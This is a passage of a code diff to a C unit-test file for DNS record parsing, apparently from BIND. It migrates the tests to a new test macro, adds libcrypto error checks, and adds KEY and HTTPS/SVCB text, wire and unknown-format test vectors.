@@ -495,6 +567,7 @@ check_multiline_text_conversions(dns_rdata_t *rdata) {
 	flags = dns_master_styleflags(&dns_master_style_default);
 	result = dns_rdata_tofmttext(rdata, dns_rootname, flags, 80 - 32, 4,
 				     "\n", &target);
+	detect_uncleared_libcrypto_error();
 	assert_int_equal(result, ISC_R_SUCCESS);
 	/*
 	 * Ensure buf_totext is properly NUL terminated as
@@ -662,6 +735,7 @@ check_compare_ok_single(const compare_ok_t *compare_ok,
 	}
 
 	answer = dns_rdata_compare(&rdata1, &rdata2);
+	detect_uncleared_libcrypto_error();
 	if (compare_ok->answer == 0 && answer != 0) {
 		fail_msg("# line %d: dns_rdata_compare('%s', '%s'): "
 			 "expected equal, got %s",
@@ -726,6 +800,64 @@ check_rdata(const text_ok_t *text_ok, const wire_ok_t *wire_ok,
 	}
 }
 
+/*
+ * Check presentation vs unknown format of the record.
+ */
+static void
+check_textvsunknown_single(const textvsunknown_t *textvsunknown,
+			   dns_rdataclass_t rdclass, dns_rdatatype_t type) {
+	dns_rdata_t rdata1 = DNS_RDATA_INIT, rdata2 = DNS_RDATA_INIT;
+	unsigned char buf1[1024], buf2[1024];
+	isc_result_t result;
+
+	result = dns_test_rdatafromstring(&rdata1, rdclass, type, buf1,
+					  sizeof(buf1), textvsunknown->text1,
+					  false);
+	if (debug && result != ISC_R_SUCCESS) {
+		fprintf(stdout, "# '%s'\n", textvsunknown->text1);
+		fprintf(stdout, "# result=%s\n", isc_result_totext(result));
+	}
+	assert_int_equal(result, ISC_R_SUCCESS);
+	result = dns_test_rdatafromstring(&rdata2, rdclass, type, buf2,
+					  sizeof(buf2), textvsunknown->text2,
+					  false);
+	if (debug && result != ISC_R_SUCCESS) {
+		fprintf(stdout, "# '%s'\n", textvsunknown->text2);
+		fprintf(stdout, "# result=%s\n", isc_result_totext(result));
+	}
+	assert_int_equal(result, ISC_R_SUCCESS);
+	if (debug && rdata1.length != rdata2.length) {
+		fprintf(stdout, "# '%s'\n", textvsunknown->text1);
+		fprintf(stdout, "# rdata1.length (%u) != rdata2.length (%u)\n",
+			rdata1.length, rdata2.length);
+	}
+	assert_int_equal(rdata1.length, rdata2.length);
+	if (debug && memcmp(rdata1.data, rdata2.data, rdata1.length) != 0) {
+		unsigned int i;
+		fprintf(stdout, "# '%s'\n", textvsunknown->text1);
+		for (i = 0; i < rdata1.length; i++) {
+			if (rdata1.data[i] != rdata2.data[i]) {
+				fprintf(stderr, "# %u: %02x != %02x\n", i,
+					rdata1.data[i], rdata2.data[i]);
+			}
+		}
+	}
+	assert_memory_equal(rdata1.data, rdata2.data, rdata1.length);
+}
+
+static void
+check_textvsunknown(const textvsunknown_t *textvsunknown,
+		    dns_rdataclass_t rdclass, dns_rdatatype_t type) {
+	size_t i;
+
+	/*
+	 * Check all entries in the supplied array.
+	 */
+	for (i = 0; textvsunknown[i].text1 != NULL; i++) {
+		check_textvsunknown_single(&textvsunknown[i], rdclass, type);
+	}
+}
+
 /*
  * Common tests for RR types based on KEY that require key data:
  *
@@ -764,8 +896,7 @@ key_required(void **state, dns_rdatatype_t type, size_t size) {
 }
 
 /* APL RDATA manipulations */
-static void
-apl(void **state) {
+ISC_RUN_TEST_IMPL(apl) {
 	text_ok_t text_ok[] = {
 		/* empty list */
 		TEXT_VALID(""),
@@ -806,8 +937,6 @@ apl(void **state) {
 				WIRE_SENTINEL()
 	};
 
-	UNUSED(state);
-
 	check_rdata(text_ok, wire_ok, NULL, true, dns_rdataclass_in,
 		    dns_rdatatype_apl, sizeof(dns_rdata_in_apl_t));
 }
@@ -849,8 +978,7 @@ apl(void **state) {
  *
  * ATMA RRs cause no additional section processing.
  */
-static void
-atma(void **state) {
+ISC_RUN_TEST_IMPL(atma) {
 	text_ok_t text_ok[] = { TEXT_VALID("00"),
 				TEXT_VALID_CHANGED("0.0", "00"),
 				/*
@@ -913,15 +1041,12 @@ atma(void **state) {
 		WIRE_SENTINEL()
 	};
 
-	UNUSED(state);
-
 	check_rdata(text_ok, wire_ok, NULL, false, dns_rdataclass_in,
 		    dns_rdatatype_atma, sizeof(dns_rdata_in_atma_t));
 }
 
 /* AMTRELAY RDATA manipulations */
-static void
-amtrelay(void **state) {
+ISC_RUN_TEST_IMPL(amtrelay) {
 	text_ok_t text_ok[] = {
 		TEXT_INVALID(""), TEXT_INVALID("0"), TEXT_INVALID("0 0"),
 		/* gateway type 0 */
@@ -993,14 +1118,11 @@ amtrelay(void **state) {
 		WIRE_SENTINEL()
 	};
 
-	UNUSED(state);
-
 	check_rdata(text_ok, wire_ok, NULL, false, dns_rdataclass_in,
 		    dns_rdatatype_amtrelay, sizeof(dns_rdata_amtrelay_t));
 }
 
-static void
-cdnskey(void **state) {
+ISC_RUN_TEST_IMPL(cdnskey) {
 	key_required(state, dns_rdatatype_cdnskey, sizeof(dns_rdata_cdnskey_t));
 }
 
@@ -1068,8 +1190,7 @@ cdnskey(void **state) {
  *    must understand the semantics associated with a bit in the Type Bit
  *    Map field that has been set to 1.
  */
-static void
-csync(void **state) {
+ISC_RUN_TEST_IMPL(csync) {
 	text_ok_t text_ok[] = { TEXT_INVALID(""),
 				TEXT_INVALID("0"),
 				TEXT_VALID("0 0"),
@@ -1124,14 +1245,11 @@ csync(void **state) {
 		WIRE_SENTINEL()
 	};
 
-	UNUSED(state);
-
 	check_rdata(text_ok, wire_ok, NULL, false, dns_rdataclass_in,
 		    dns_rdatatype_csync, sizeof(dns_rdata_csync_t));
 }
 
-static void
-dnskey(void **state) {
+ISC_RUN_TEST_IMPL(dnskey) {
 	key_required(state, dns_rdatatype_dnskey, sizeof(dns_rdata_dnskey_t));
 }
 
@@ -1195,8 +1313,7 @@ dnskey(void **state) {
  *    character ("-", ASCII 45).  White space is permitted within Base64
  *    data.
  */
-static void
-doa(void **state) {
+ISC_RUN_TEST_IMPL(doa) {
 	text_ok_t text_ok[] = {
 		/*
 		 * Valid, non-empty DOA-DATA.
@@ -1343,8 +1460,6 @@ doa(void **state) {
 		WIRE_SENTINEL()
 	};
 
-	UNUSED(state);
-
 	check_rdata(text_ok, wire_ok, NULL, false, dns_rdataclass_in,
 		    dns_rdatatype_doa, sizeof(dns_rdata_doa_t));
 }
@@ -1411,8 +1526,7 @@ doa(void **state) {
  *    DNSKEY RR size.  As of the time of this writing, the only defined
  *    digest algorithm is SHA-1, which produces a 20 octet digest.
  */
-static void
-ds(void **state) {
+ISC_RUN_TEST_IMPL(ds) {
 	text_ok_t text_ok[] = {
 		/*
 		 * Invalid, empty record.
@@ -1614,8 +1728,6 @@ ds(void **state) {
 		WIRE_SENTINEL()
 	};
 
-	UNUSED(state);
-
 	check_rdata(text_ok, wire_ok, NULL, false, dns_rdataclass_in,
 		    dns_rdatatype_ds, sizeof(dns_rdata_ds_t));
 }
@@ -1680,8 +1792,7 @@ ds(void **state) {
  *    All fields are in network byte order ("big-endian", per [RFC1700],
  *    Data Notation).
  */
-static void
-edns_client_subnet(void **state) {
+ISC_RUN_TEST_IMPL(edns_client_subnet) {
 	wire_ok_t wire_ok[] = {
 		/*
 		 * Option code with no content.
@@ -1755,8 +1866,6 @@ edns_client_subnet(void **state) {
 		WIRE_SENTINEL()
 	};
 
-	UNUSED(state);
-
 	check_rdata(NULL, wire_ok, NULL, true, dns_rdataclass_in,
 		    dns_rdatatype_opt, sizeof(dns_rdata_opt_t));
 }
@@ -1770,8 +1879,7 @@ edns_client_subnet(void **state) {
  * significant.  For readability, whitespace may be included in the value
  * field and should be ignored when reading a master file.
  */
-static void
-eid(void **state) {
+ISC_RUN_TEST_IMPL(eid) {
 	text_ok_t text_ok[] = { TEXT_VALID("AABBCC"),
 				TEXT_VALID_CHANGED("AA bb cc", "AABBCC"),
 				TEXT_INVALID("aab"),
@@ -1785,8 +1893,6 @@ eid(void **state) {
 				 */
 				WIRE_SENTINEL() };
 
-	UNUSED(state);
-
 	check_rdata(text_ok, wire_ok, NULL, false, dns_rdataclass_in,
 		    dns_rdatatype_eid, sizeof(dns_rdata_in_eid_t));
 }
@@ -1794,8 +1900,7 @@ eid(void **state) {
 /*
  * test that an oversized HIP record will be rejected
  */
-static void
-hip(void **state) {
+ISC_RUN_TEST_IMPL(hip) {
 	text_ok_t text_ok[] = {
 		/* RFC 8005 examples. */
 		TEXT_VALID_LOOP(0, "2 200100107B1A74DF365639CC39F1D578 "
@@ -1831,8 +1936,6 @@ hip(void **state) {
 	isc_result_t result;
 	size_t i;
 
-	UNUSED(state);
-
 	/*
 	 * Fill the rest of input buffer with compression pointers.
 	 */
@@ -1909,8 +2012,7 @@ hip(void **state) {
  *    as one or two <character-string>s, i.e., count followed by
  *    characters.
  */
-static void
-isdn(void **state) {
+ISC_RUN_TEST_IMPL(isdn) {
 	wire_ok_t wire_ok[] = { /*
 				 * "".
 				 */
@@ -1933,8 +2035,6 @@ isdn(void **state) {
 				WIRE_SENTINEL()
 	};
 
-	UNUSED(state);
-
 	check_rdata(NULL, wire_ok, NULL, false, dns_rdataclass_in,
 		    dns_rdatatype_isdn, sizeof(dns_rdata_isdn_t));
 }
@@ -1942,43 +2042,87 @@ isdn(void **state) {
 /*
  * KEY tests.
  */
-static void
-key(void **state) {
-	wire_ok_t wire_ok[] = { /*
-				 * RDATA is comprised of:
-				 *
-				 *   - 2 octets for Flags,
-				 *   - 1 octet for Protocol,
-				 *   - 1 octet for Algorithm,
-				 *   - variable number of octets for Public Key.
-				 *
-				 * RFC 2535 section 3.1.2 states that if bits
-				 * 0-1 of Flags are both set, the RR stops after
-				 * the algorithm octet and thus its length must
-				 * be 4 octets.  In any other case, though, the
-				 * Public Key part must not be empty.
+ISC_RUN_TEST_IMPL(key) {
+	wire_ok_t wire_ok[] = {
+		/*
+		 * RDATA is comprised of:
+		 *
+		 *   - 2 octets for Flags,
+		 *   - 1 octet for Protocol,
+		 *   - 1 octet for Algorithm,
+		 *   - variable number of octets for Public Key.
+		 *
+		 * RFC 2535 section 3.1.2 states that if bits
+		 * 0-1 of Flags are both set, the RR stops after
+		 * the algorithm octet and thus its length must
+		 * be 4 octets.  In any other case, though, the
+		 * Public Key part must not be empty.
+		 *
+		 * Algorithms PRIVATEDNS (253) and PRIVATEOID (254)
+		 * have an algorithm identifier embedded and the start
+		 * of the public key.
+		 */
+		WIRE_INVALID(0x00), WIRE_INVALID(0x00, 0x00),
+		WIRE_INVALID(0x00, 0x00, 0x00),
+		WIRE_VALID(0xc0, 0x00, 0x00, 0x00),
+		WIRE_INVALID(0xc0, 0x00, 0x00, 0x00, 0x00),
+		WIRE_INVALID(0x00, 0x00, 0x00, 0x00),
+		WIRE_VALID(0x00, 0x00, 0x00, 0x00, 0x00),
+		/* PRIVATEDNS example. */
+		WIRE_INVALID(0x00, 0x00, 0x00, 253, 0x07, 'e', 'x', 'a', 'm',
+			     'p', 'l', 'e', 0x00),
+		/* PRIVATEDNS example. + keydata */
+		WIRE_VALID(0x00, 0x00, 0x00, 253, 0x07, 'e', 'x', 'a', 'm', 'p',
+			   'l', 'e', 0x00, 0x00),
+		/* PRIVATEDNS compression pointer. */
+		WIRE_INVALID(0x00, 0x00, 0x00, 253, 0xc0, 0x00, 0x00),
+		/* PRIVATEOID */
+		WIRE_INVALID(0x00, 0x00, 0x00, 254, 0x00),
+		/* PRIVATEOID 1.3.6.1.4.1.2495 */
+		WIRE_INVALID(0x00, 0x00, 0x00, 254, 0x06, 0x07, 0x2b, 0x06,
+			     0x01, 0x04, 0x01, 0x93, 0x3f),
+		/* PRIVATEOID 1.3.6.1.4.1.2495 + keydata */
+		WIRE_VALID(0x00, 0x00, 0x00, 254, 0x06, 0x07, 0x2b, 0x06, 0x01,
+			   0x04, 0x01, 0x93, 0x3f, 0x00),
+		/* PRIVATEOID malformed OID - high-bit set on last octet */
+		WIRE_INVALID(0x00, 0x00, 0x00, 254, 0x06, 0x07, 0x2b, 0x06,
+			     0x01, 0x04, 0x01, 0x93, 0xbf, 0x00),
+		/* PRIVATEOID malformed OID - wrong tag */
+		WIRE_INVALID(0x00, 0x00, 0x00, 254, 0x07, 0x07, 0x2b, 0x06,
+			     0x01, 0x04, 0x01, 0x93, 0x3f, 0x00),
+		WIRE_SENTINEL()
+	};
+	text_ok_t text_ok[] = { /* PRIVATEDNS example. */
+				TEXT_INVALID("0 0 253 B2V4YW1wbGUA"),
+				/* PRIVATEDNS example. + keydata */
+				TEXT_VALID("0 0 253 B2V4YW1wbGUAAA=="),
+				/* PRIVATEDNS compression pointer. */
+				TEXT_INVALID("0 0 253 wAAA"),
+				/* PRIVATEOID */
+				TEXT_INVALID("0 0 254 AA=="),
+				/* PRIVATEOID 1.3.6.1.4.1.2495 */
+				TEXT_INVALID("0 0 254 BgcrBgEEAZM/"),
+				/* PRIVATEOID 1.3.6.1.4.1.2495 + keydata */
+				TEXT_VALID("0 0 254 BgcrBgEEAZM/AA=="),
+				/* PRIVATEOID malformed OID - high-bit set on
+				   last octet */
+				TEXT_INVALID("0 0 254 BgcrBgEEAZO/AA=="),
+				/* PRIVATEOID malformed OID - wrong tag */
+				TEXT_INVALID("0 0 254 BwcrBgEEAZM/AA=="),
+				/*
+				 * Sentinel.
 				 */
-				WIRE_INVALID(0x00),
-				WIRE_INVALID(0x00, 0x00),
-				WIRE_INVALID(0x00, 0x00, 0x00),
-				WIRE_VALID(0xc0, 0x00, 0x00, 0x00),
-				WIRE_INVALID(0xc0, 0x00, 0x00, 0x00, 0x00),
-				WIRE_INVALID(0x00, 0x00, 0x00, 0x00),
-				WIRE_VALID(0x00, 0x00, 0x00, 0x00, 0x00),
-				WIRE_SENTINEL()
+				TEXT_SENTINEL()
 	};
 
-	UNUSED(state);
-
-	check_rdata(NULL, wire_ok, NULL, false, dns_rdataclass_in,
+	check_rdata(text_ok, wire_ok, NULL, false, dns_rdataclass_in,
 		    dns_rdatatype_key, sizeof(dns_rdata_key_t));
 }
 
 /*
  * LOC tests.
  */
-static void
-loc(void **state) {
+ISC_RUN_TEST_IMPL(loc) {
 	text_ok_t text_ok[] = {
 		TEXT_VALID_CHANGED("0 N 0 E 0", "0 0 0.000 N 0 0 0.000 E 0.00m "
 						"1m 10000m 10m"),
@@ -2033,8 +2177,6 @@ loc(void **state) {
 		TEXT_SENTINEL()
 	};
 
-	UNUSED(state);
-
 	check_rdata(text_ok, 0, NULL, false, dns_rdataclass_in,
 		    dns_rdatatype_loc, sizeof(dns_rdata_loc_t));
 }
@@ -2048,8 +2190,7 @@ loc(void **state) {
  * significant.  For readability, whitespace may be included in the value
  * field and should be ignored when reading a master file.
  */
-static void
-nimloc(void **state) {
+ISC_RUN_TEST_IMPL(nimloc) {
 	text_ok_t text_ok[] = { TEXT_VALID("AABBCC"),
 				TEXT_VALID_CHANGED("AA bb cc", "AABBCC"),
 				TEXT_INVALID("aab"),
@@ -2063,8 +2204,6 @@ nimloc(void **state) {
 				 */
 				WIRE_SENTINEL() };
 
-	UNUSED(state);
-
 	check_rdata(text_ok, wire_ok, NULL, false, dns_rdataclass_in,
 		    dns_rdatatype_nimloc, sizeof(dns_rdata_in_nimloc_t));
 }
@@ -2135,8 +2274,7 @@ nimloc(void **state) {
  *    Bits representing pseudo-types MUST be clear, as they do not appear
  *    in zone data.  If encountered, they MUST be ignored upon being read.
  */
-static void
-nsec(void **state) {
+ISC_RUN_TEST_IMPL(nsec) {
 	text_ok_t text_ok[] = { TEXT_INVALID(""), TEXT_INVALID("."),
 				TEXT_VALID(". RRSIG"), TEXT_SENTINEL() };
 	wire_ok_t wire_ok[] = { WIRE_INVALID(0x00), WIRE_INVALID(0x00, 0x00),
@@ -2144,8 +2282,6 @@ nsec(void **state) {
 				WIRE_VALID(0x00, 0x00, 0x01, 0x02),
 				WIRE_SENTINEL() };
 
-	UNUSED(state);
-
 	check_rdata(text_ok, wire_ok, NULL, false, dns_rdataclass_in,
 		    dns_rdatatype_nsec, sizeof(dns_rdata_nsec_t));
 }
@@ -2155,8 +2291,7 @@ nsec(void **state) {
  *
  * RFC 5155.
  */
-static void
-nsec3(void **state) {
+ISC_RUN_TEST_IMPL(nsec3) {
 	text_ok_t text_ok[] = { TEXT_INVALID(""),
 				TEXT_INVALID("."),
 				TEXT_INVALID(". RRSIG"),
@@ -2176,15 +2311,12 @@ nsec3(void **state) {
 					   "AJHVGTICN6K0VDA53GCHFMT219SRRQLM"),
 				TEXT_SENTINEL() };
 
-	UNUSED(state);
-
 	check_rdata(text_ok, NULL, NULL, false, dns_rdataclass_in,
 		    dns_rdatatype_nsec3, sizeof(dns_rdata_nsec3_t));
 }
 
 /* NXT RDATA manipulations */
-static void
-nxt(void **state) {
+ISC_RUN_TEST_IMPL(nxt) {
 	compare_ok_t compare_ok[] = {
 		COMPARE("a. A SIG", "a. A SIG", 0),
 		/*
@@ -2203,14 +2335,11 @@ nxt(void **state) {
 		COMPARE("b. A SIG AAAA", "b. A AAAA SIG", 0), COMPARE_SENTINEL()
 	};
 
-	UNUSED(state);
-
 	check_rdata(NULL, NULL, compare_ok, false, dns_rdataclass_in,
 		    dns_rdatatype_nxt, sizeof(dns_rdata_nxt_t));
 }
 
-static void
-rkey(void **state) {
+ISC_RUN_TEST_IMPL(rkey) {
 	text_ok_t text_ok[] = { /*
 				 * Valid, flags set to 0 and a key is present.
 				 */
@@ -2245,8 +2374,7 @@ rkey(void **state) {
 }
 
 /* SSHFP RDATA manipulations */
-static void
-sshfp(void **state) {
+ISC_RUN_TEST_IMPL(sshfp) {
 	text_ok_t text_ok[] = { TEXT_INVALID(""),     /* too short */
 				TEXT_INVALID("0"),    /* reserved, too short */
 				TEXT_VALID("0 0"),    /* no finger print */
@@ -2323,8 +2451,6 @@ sshfp(void **state) {
 		WIRE_SENTINEL()
 	};
 
-	UNUSED(state);
-
 	check_rdata(text_ok, wire_ok, NULL, false, dns_rdataclass_in,
 		    dns_rdatatype_sshfp, sizeof(dns_rdata_sshfp_t));
 }
@@ -2368,8 +2494,7 @@ sshfp(void **state) {
  * port 25; if zero, SMTP service is not supported on the specified
  * address.
  */
-static void
-wks(void **state) {
+ISC_RUN_TEST_IMPL(wks) {
 	text_ok_t text_ok[] = { /*
 				 * Valid, IPv4 address in dotted-quad form.
 				 */
@@ -2406,12 +2531,273 @@ wks(void **state) {
 				WIRE_SENTINEL()
 	};
 
-	UNUSED(state);
-
 	check_rdata(text_ok, wire_ok, NULL, false, dns_rdataclass_in,
 		    dns_rdatatype_wks, sizeof(dns_rdata_in_wks_t));
 }
 
+ISC_RUN_TEST_IMPL(https_svcb) {
+	/*
+	 * Known keys: mandatory, apln, no-default-alpn, port,
+	 *             ipv4hint, port, ipv6hint, dohpath.
+	 */
+	text_ok_t text_ok[] = {
+		/* unknown key invalid */
+		TEXT_INVALID("1 . unknown="),
+		/* no domain */
+		TEXT_INVALID("0"),
+		/* minimal record */
+		TEXT_VALID_LOOP(0, "0 ."),
+		/* Alias form requires SvcFieldValue to be empty */
+		TEXT_INVALID("0 . alpn=\"h2\""),
+		/* no "key" prefix */
+		TEXT_INVALID("2 svc.example.net. 0=\"2222\""),
+		/* no key value */
+		TEXT_INVALID("2 svc.example.net. key"),
+		/* no key value */
+		TEXT_INVALID("2 svc.example.net. key=\"2222\""),
+		/* zero pad invalid */
+		TEXT_INVALID("2 svc.example.net. key07=\"2222\""),
+		TEXT_VALID_LOOP(1, "2 svc.example.net. key8=\"2222\""),
+		TEXT_VALID_LOOPCHG(1, "2 svc.example.net. key8=2222",
+				   "2 svc.example.net. key8=\"2222\""),
+		TEXT_VALID_LOOPCHG(1, "2 svc.example.net. alpn=h2",
+				   "2 svc.example.net. alpn=\"h2\""),
+		TEXT_VALID_LOOPCHG(1, "2 svc.example.net. alpn=h3",
+				   "2 svc.example.net. alpn=\"h3\""),
+		/* alpn has 2 sub field "h2" and "h3" */
+		TEXT_VALID_LOOPCHG(1, "2 svc.example.net. alpn=h2,h3",
+				   "2 svc.example.net. alpn=\"h2,h3\""),
+		/* apln has 2 sub fields "h1,h2" and "h3" (comma escaped) */
+		TEXT_VALID_LOOPCHG(1, "2 svc.example.net. alpn=h1\\\\,h2,h3",
+				   "2 svc.example.net. alpn=\"h1\\\\,h2,h3\""),
+		TEXT_VALID_LOOP(1, "2 svc.example.net. port=50"),
+		/* no-default-alpn, alpn is required */
+		TEXT_INVALID("2 svc.example.net. no-default-alpn"),
+		/* no-default-alpn with alpn present */
+		TEXT_VALID_LOOPCHG(
+			2, "2 svc.example.net. no-default-alpn alpn=h2",
+			"2 svc.example.net. alpn=\"h2\" no-default-alpn"),
+		/* empty hint */
+		TEXT_INVALID("2 svc.example.net. ipv4hint="),
+		TEXT_VALID_LOOP(1, "2 svc.example.net. "
+				   "ipv4hint=10.50.0.1,10.50.0.2"),
+		/* empty hint */
+		TEXT_INVALID("2 svc.example.net. ipv6hint="),
+		TEXT_VALID_LOOP(1, "2 svc.example.net. ipv6hint=::1,2002::1"),
+		TEXT_VALID_LOOP(1, "2 svc.example.net. ech=abcdefghijkl"),
+		/* bad base64 */
+		TEXT_INVALID("2 svc.example.net. ech=abcdefghijklm"),
+		TEXT_VALID_LOOP(1, "2 svc.example.net. key8=\"2222\""),
+		/* Out of key order on input (alpn == key1). */
+		TEXT_VALID_LOOPCHG(2,
+				   "2 svc.example.net. key8=\"2222\" alpn=h2",
+				   "2 svc.example.net. alpn=\"h2\" "
+				   "key8=\"2222\""),
+		TEXT_VALID_LOOP(1, "2 svc.example.net. key65535=\"2222\""),
+		TEXT_INVALID("2 svc.example.net. key65536=\"2222\""),
+		TEXT_VALID_LOOP(1, "2 svc.example.net. key10"),
+		TEXT_VALID_LOOPCHG(1, "2 svc.example.net. key11=",
+				   "2 svc.example.net. key11"),
+		TEXT_VALID_LOOPCHG(1, "2 svc.example.net. key12=\"\"",
+				   "2 svc.example.net. key12"),
+		/* empty alpn-id sub fields */
+		TEXT_INVALID("2 svc.example.net. alpn"),
+		TEXT_INVALID("2 svc.example.net. alpn="),
+		TEXT_INVALID("2 svc.example.net. alpn=,h1"),
+		TEXT_INVALID("2 svc.example.net. alpn=h1,"),
+		TEXT_INVALID("2 svc.example.net. alpn=h1,,h2"),
+		/* mandatory */
+		TEXT_VALID_LOOP(2, "2 svc.example.net. mandatory=alpn "
+				   "alpn=\"h2\""),
+		TEXT_VALID_LOOP(3, "2 svc.example.net. mandatory=alpn,port "
+				   "alpn=\"h2\" port=443"),
+		TEXT_VALID_LOOPCHG(3,
+				   "2 svc.example.net. mandatory=port,alpn "
+				   "alpn=\"h2\" port=443",
+				   "2 svc.example.net. mandatory=alpn,port "
+				   "alpn=\"h2\" port=443"),
+		TEXT_INVALID("2 svc.example.net. mandatory=mandatory"),
+		TEXT_INVALID("2 svc.example.net. mandatory=port"),
+		TEXT_INVALID("2 svc.example.net. mandatory=,port port=433"),
+		TEXT_INVALID("2 svc.example.net. mandatory=port, port=433"),
+		TEXT_INVALID("2 svc.example.net. "
+			     "mandatory=alpn,,port alpn=h2 port=433"),
+		/* mandatory w/ unknown key values */
+		TEXT_VALID_LOOP(2, "2 svc.example.net. mandatory=key8 key8"),
+		TEXT_VALID_LOOP(3, "2 svc.example.net. mandatory=key8,key9 "
+				   "key8 key9"),
+		TEXT_VALID_LOOPCHG(
+			3, "2 svc.example.net. mandatory=key9,key8 key8 key9",
+			"2 svc.example.net. mandatory=key8,key9 key8 key9"),
+		TEXT_INVALID("2 svc.example.net. "
+			     "mandatory=key8,key8"),
+		TEXT_INVALID("2 svc.example.net. mandatory=,key8"),
+		TEXT_INVALID("2 svc.example.net. mandatory=key8,"),
+		TEXT_INVALID("2 svc.example.net. "
+			     "mandatory=key8,,key8"),
+		/* Invalid test vectors */
+		TEXT_INVALID("1 foo.example.com. ( key123=abc key123=def )"),
+		TEXT_INVALID("1 foo.example.com. mandatory"),
+		TEXT_INVALID("1 foo.example.com. alpn"),
+		TEXT_INVALID("1 foo.example.com. port"),
+		TEXT_INVALID("1 foo.example.com. ipv4hint"),
+		TEXT_INVALID("1 foo.example.com. ipv6hint"),
+		TEXT_INVALID("1 foo.example.com. no-default-alpn=abc"),
+		TEXT_INVALID("1 foo.example.com. mandatory=key123"),
+		TEXT_INVALID("1 foo.example.com. mandatory=mandatory"),
+		TEXT_INVALID("1 foo.example.com. ( mandatory=key123,key123 "
+			     "key123=abc)"),
+		/* dohpath tests */
+		TEXT_VALID_LOOPCHG(1, "1 example.net. dohpath=/{?dns}",
+				   "1 example.net. key7=\"/{?dns}\""),
+		TEXT_VALID_LOOPCHG(1, "1 example.net. dohpath=/some/path{?dns}",
+				   "1 example.net. key7=\"/some/path{?dns}\""),
+		TEXT_INVALID("1 example.com. dohpath=no-slash"),
+		TEXT_INVALID("1 example.com. dohpath=/{?notdns}"),
+		TEXT_INVALID("1 example.com. dohpath=/notvariable"),
+		TEXT_SENTINEL()
+
+	};
+	wire_ok_t wire_ok[] = {
+		/*
+		 * Too short
+		 */
+		WIRE_INVALID(0x00, 0x00),
+		/*
+		 * Minimal length record.
+		 */
+		WIRE_VALID(0x00, 0x00, 0x00),
+		/*
+		 * Alias with non-empty SvcFieldValue (key7="").
+		 */
+		WIRE_INVALID(0x00, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00),
+		/*
+		 * Bad key7= length (longer than rdata).
+		 */
+		WIRE_INVALID(0x00, 0x01, 0x00, 0x00, 0x07, 0x00, 0x01),
+		/*
+		 * Port (0x03) too small (zero and one octets).
+		 */
+		WIRE_INVALID(0x00, 0x01, 0x00, 0x00, 0x03, 0x00, 0x00),
+		WIRE_INVALID(0x00, 0x01, 0x00, 0x00, 0x03, 0x00, 0x01, 0x00),
+		/* Valid port */
+		WIRE_VALID_LOOP(1, 0x00, 0x01, 0x00, 0x00, 0x03, 0x00, 0x02,
+				0x00, 0x00),
+		/*
+		 * Port (0x03) too big (three octets).
+		 */
+		WIRE_INVALID(0x00, 0x01, 0x00, 0x00, 0x03, 0x00, 0x03, 0x00,
+			     0x00, 0x00),
+		/*
+		 * Duplicate keys.
+		 */
+		WIRE_INVALID(0x01, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
+			     0x80, 0x00, 0x00),
+		/*
+		 * Out of order keys.
+		 */
+		WIRE_INVALID(0x01, 0x01, 0x00, 0x00, 0x81, 0x00, 0x00, 0x00,
+			     0x80, 0x00, 0x00),
+		/*
+		 * Empty of mandatory key list.
+		 */
+		WIRE_INVALID(0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00),
+		/*
+		 * "mandatory=mandatory" is invalid
+		 */
+		WIRE_INVALID(0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00,
+			     0x00),
+		/*
+		 * Out of order mandatory key list.
+		 */
+		WIRE_INVALID(0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00,
+			     0x80, 0x00, 0x71, 0x00, 0x71, 0x00, 0x00, 0x00,
+			     0x80, 0x00, 0x00),
+		/*
+		 * Alpn(0x00 0x01) (length 0x00 0x09) "h1,h2" + "h3"
+		 */
+		WIRE_VALID_LOOP(0x01, 0x00, 0x01, 0x00, 0x00, 0x01, 0x00, 0x09,
+				5, 'h', '1', ',', 'h', '2', 2, 'h', '3'),
+		/*
+		 * Alpn(0x00 0x01) (length 0x00 0x09) "h1\h2" + "h3"
+		 */
+		WIRE_VALID_LOOP(0x01, 0x00, 0x01, 0x00, 0x00, 0x01, 0x00, 0x09,
+				5, 'h', '1', '\\', 'h', '2', 2, 'h', '3'),
+		/*
+		 * no-default-alpn (0x00 0x02) without alpn, alpn is required.
+		 */
+		WIRE_INVALID(0x00, 0x00, 0x01, 0x00, 0x00, 0x02, 0x00, 0x00),
+		/*
+		 * Alpn(0x00 0x01) with zero length elements is invalid
+		 */
+		WIRE_INVALID(0x00, 0x00, 0x01, 0x00, 0x00, 0x01, 0x00, 0x05,
+			     0x00, 0x00, 0x00, 0x00, 0x00),
+		WIRE_SENTINEL()
+	};
+	/* Test vectors from RFCXXXX */
+	textvsunknown_t textvsunknown[] = {
+		/* AliasForm */
+		{ "0 foo.example.com", "\\# 19 ( 00 00 03 66 6f 6f 07 65 78 61 "
+				       "6d 70 6c 65 03 63 6f 6d 00)" },
+		/* ServiceForm */
+		{ "1 .", "\\# 3 ( 00 01 00)" },
+		/* Port example */
+		{ "16 foo.example.com port=53",
+		  "\\# 25 ( 00 10 03 66 6f 6f 07 65 78 61 6d 70 6c 65 03 63 6f "
+		  "6d 00 00 03 00 02 00 35 )" },
+		/* Unregistered keys with unquoted value. */
+		{ "1 foo.example.com key667=hello",
+		  "\\# 28 ( 00 01 03 66 6f 6f 07 65 78 61 6d 70 6c 65 03 63 6f "
+		  "6d 00 02 9b 00 05 68 65 6c 6c 6f )" },
+		/*
+		 * Quoted decimal-escaped character.
+		 * 1 foo.example.com key667="hello\210qoo"
+		 */
+		{ "1 foo.example.com key667=\"hello\\210qoo\"",
+		  "\\# 32 ( 00 01 03 66 6f 6f 07 65 78 61 6d 70 6c 65 03 63 6f "
+		  "6d 00 02 9b 00 09 68 65 6c 6c 6f d2 71 6f 6f )" },
+		/*
+		 * IPv6 hints example, quoted.
+		 * 1 foo.example.com ipv6hint="2001:db8::1,2001:db8::53:1"
+		 */
+		{ "1 foo.example.com ipv6hint=\"2001:db8::1,2001:db8::53:1\"",
+		  "\\# 55 ( 00 01 03 66 6f 6f 07 65 78 61 6d 70 6c 65 03 63 6f "
+		  "6d 00 00 06 00 20 20 01 0d b8 00 00 00 00 00 00 00 00 00 00 "
+		  "00 01 20 01 0d b8 00 00 00 00 00 00 00 00 00 53 00 01 )" },
+		/* SvcParamValues and mandatory out of order. */
+		{ "16 foo.example.org alpn=h2,h3-19 mandatory=ipv4hint,alpn "
